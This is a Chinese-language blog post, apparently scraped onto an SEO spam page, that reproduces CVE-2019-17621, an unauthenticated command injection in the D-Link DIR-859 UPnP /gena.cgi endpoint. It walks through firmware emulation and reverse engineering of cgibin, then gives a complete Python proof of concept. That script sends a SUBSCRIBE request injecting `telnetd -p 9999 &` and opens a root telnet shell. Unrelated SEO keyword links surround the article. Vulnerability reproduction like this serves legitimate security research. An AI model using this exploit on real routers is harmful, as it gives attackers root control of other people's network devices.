当前位置: 首页 > wzjs >正文

广西建设学院官方网站小程序引流推广平台

广西建设学院官方网站,小程序引流推广平台,广西壮族自治区官方网,丹东企业做网站文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析  4.1:代码分析  4.2:流量分析 5.poc代码: 1.漏洞描述 漏洞编号:CVE-2019-17621 漏洞名称:D-Link DIR-859 命令注入漏洞 威胁等级:严重 漏洞详…

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析 

    4.1:代码分析 

    4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2019-17621

漏洞名称:D-Link DIR-859 命令注入漏洞

威胁等级:严重

漏洞详情:D-Link UPnP-859 Wi-Fi路由器1.05和1.06B01 Beta 01中的UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令

影响范围:D-Link DIR-859 v1.06b01beta01及之前的版本

固件下载地址:http://www.dlink.com.cn/techsupport/download.ashx?file=3850


2.环境搭建

下载到固件之后,首先需要把固件 DIR822A1_FW103WWb03.bin模拟运行起来。

在测试虚拟机中,模拟固件用到的是 firmware-analysis-toolkit:GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitiesToolkit to emulate firmware and analyse it for security vulnerabilities - GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitieshttps://github.com/attify/firmware-analysis-toolkit也可以直接安装一台 AttifyOS 虚拟机:GitHub - adi0x90/attifyos: Attify OS - Distro for pentesting IoT devicesAttify OS - Distro for pentesting IoT devices . Contribute to adi0x90/attifyos development by creating an account on GitHub.https://github.com/adi0x90/attifyos

这个虚拟机镜像就是专门用来进行物联网 (IoT) 设备的安全评估和渗透测试的,上面预装好了各种必要的工具,比较方便,AttifyOS 3.0 基于 Ubuntu 18.04。

3.漏洞复现

在firmadyne安装目录下执行命令:

./fat.py DIR822A1_FW103WWb03.bin,

出现如下提示后按回车运行固件。

在浏览器中访问 http://192.168.0.1

使用 nmap 扫描可以发现 9999 端口被开启,运行 telnet 服务:

命令:grep -r '49152'

注:49152开启的是UPnP(通用即插即用)网络协议。

运行poc

命令:python3.8 a.py

poc执行成功后,获得了dlink的shell。

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

 进入home/CVE-2019/firmadyne/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/bin目录后,我们并没有发现httpd可执行文件。

使用grep 命令搜索当前目录及其子目录下所有包含 "httpd" 字符串的文

_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/etc/services/HTTP.php 文件包含了 httpd 的配置文件路径 /var/run/httpd.conf,并且有启动和停止 httpd 服务的命令。这表明该脚本可能用于管理 httpd 服务的启动和停止。

查看httpd.conf文件:

cat var/run/httpd.conf

可知/htdocs/upnp/docs/LAN-1用于存放 UPnP 服务相关的文档和资源.

进入路径/htdocs/upnp/docs/LAN-1

命令:cd /htdocs/upnp/docs/LAN-1

ls -al

注意漏洞通告中:

The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root

能够定位漏洞位于/htdocs/cgibin

ida分析/htdocs/cgibin

通过查找关键词”gena”我们发现调用gena.cgi的genacgi_main函数

反汇编可知此函数的作用是处理一个简单的 CGI (通用网关接口) 请求

首先检查请求方法和请求 URI 是否有效。

然后检查请求 URI 是否包含 ?service=,并获取服务名称。

根据请求方法(SUBSCRIBE 或 UNSUBSCRIBE)的不同,调用相应的处理函数(sub_40FCE0或sub_4100EC)

注意漏洞通告中:

远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求。

跟进分析请求方法SUBSCRIBE调用的处理函数sub_40FCE0:

反汇编可知此函数的作用是用于 UPnP (通用即插即用) 服务,处理一个订阅请求。

这段代码主要是调用 xmldbc_ephp 函数来执行命令

分析xmldbc_ephp

它是一个包装器函数,用于调用另一个函数 sub_414FB8

跟进sub_414FB8函数

1. sub_4140BC 函数,获取一个文件描述符或类似资源。

2.如果获取成功,sub_4140BC 函数会调用 sub_41490C 函数进行进一步的操作。

跟进sub_41490C 函数:

sub_41490C 处理文件描述符读取和数据处理的函数。

3.如果 sub_41490C 确保成功,它会调用 sub_4146C8 函数进行最终操作。

sub_4146C8 函数作用是等待文件描述符流的状态变化,然后读取数据并调用 sub_41460C 函数。

sub_41460C 函数中fwrite 函数被用来将 a1 指向的内存区域中的数据写入到文件流中。

而a1内存区域中的数据在sub_4140BC就有定义

a1 在这个函数中主要用于:

可知脚本文件的路径run.NOTIFY.php中。

分析run.NOTIFY.php:

这段代码用于处理 UPnP 设备的事件订阅请求,根据不同的服务类型(GENA_subscribe_new 或者GENA_subscribe_sid)执行相应的操作。

内容定义在了/htdocs/upnpinc/gena.php中。

其中引入多个变量。

$shell_file 变量没有经过适当的清理转义,这允许攻击者通过在 URL 参数中注入恶意代码来控制 fwrite 函数写入的内容。

已知:49152端口开启的是UPnP(通用即插即用)网络协议。

我们可以构造如下请求:

http://<router-ip>:49152/gena.cgi?service=`$shell_file+命令 /`

验证命令注入漏洞。

4.2:流量分析 

UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令。

5.poc代码:

代码复现时路由器ip:192.168.0.1

#!/usr/bin/python3import socket
import os
from time import sleepdef httpSUB(server, port, shell_file):print('\n[*] Connection {host}:{port}'.format(host=server, port=port))con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"request += "Host: " + str(server) + str(port) + "\n"request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"request += "NT: upnp:event\n"request += "Timeout: Second-1800\n"request += "Accept-Encoding: gzip, deflate\n"request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"print('[*] Sending Payload')sleep(1)con.connect((socket.gethostbyname(server), port))con.send(request.encode())results = con.recv(4096)print('[*] Running Telnetd Service')sleep(2)print('[*] Opening Telnet Connection\n')os.system('telnet ' + str(server) + ' 9999')serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

poc执行成功后,获得了dlink的shell。

http://www.dtcms.com/wzjs/475943.html

相关文章:

  • 微网站怎么开发免费论坛建站系统
  • 网站怎么做优化排名靠前搜索引擎营销seo
  • 郑州中企业网站建设如何结合搜索检索与seo推广
  • 建设高校实验室教学网站的作用百度下载安装到桌面上
  • 网站sem青海百度关键词seo
  • 摄影网站的设计与实现开题报告外贸网站建设平台
  • 哪里网站建设公司比较好深圳网站建设哪家好
  • 做发型的网站体验式营销案例
  • 福州网站关键排名站长之家ping检测
  • app免费制作网站模板信阳seo公司
  • 免费建站团队网站ip查询站长工具
  • 汕头网站设计开发廊坊seo网络推广
  • 软文营销的写作技巧有哪些优化器
  • wordpress登录弹窗网络优化包括
  • 安平县哪家做网站seo美式
  • 深圳专门网站建设广州seo网站优化培训
  • 个人 可以做社交网站中国互联网域名注册服务机构
  • 长春建站网站建设免费正规的接单平台
  • 做网站的可以信吗计算机培训机构排名
  • 做电脑回收什么网站好南京seo推广公司
  • 郑州网站建设详细内容推荐网上销售培训课程
  • 网站开发与建设课程设计武汉大学人民医院光谷院区
  • 石狮网站建设费用百度广告位
  • 辽阳北京网站建设百度号码认证
  • 如何看还在建设的网站b站2020推广网站
  • 建设网站方案 ppt百度竞价托管公司
  • 电商平台门户网站建设的重要性石家庄网站建设公司
  • 微信代运营费用优化推广网站seo
  • wordpress隐藏网页代码汕头seo优化培训
  • wordpress制作交友软件裤子seo标题优化关键词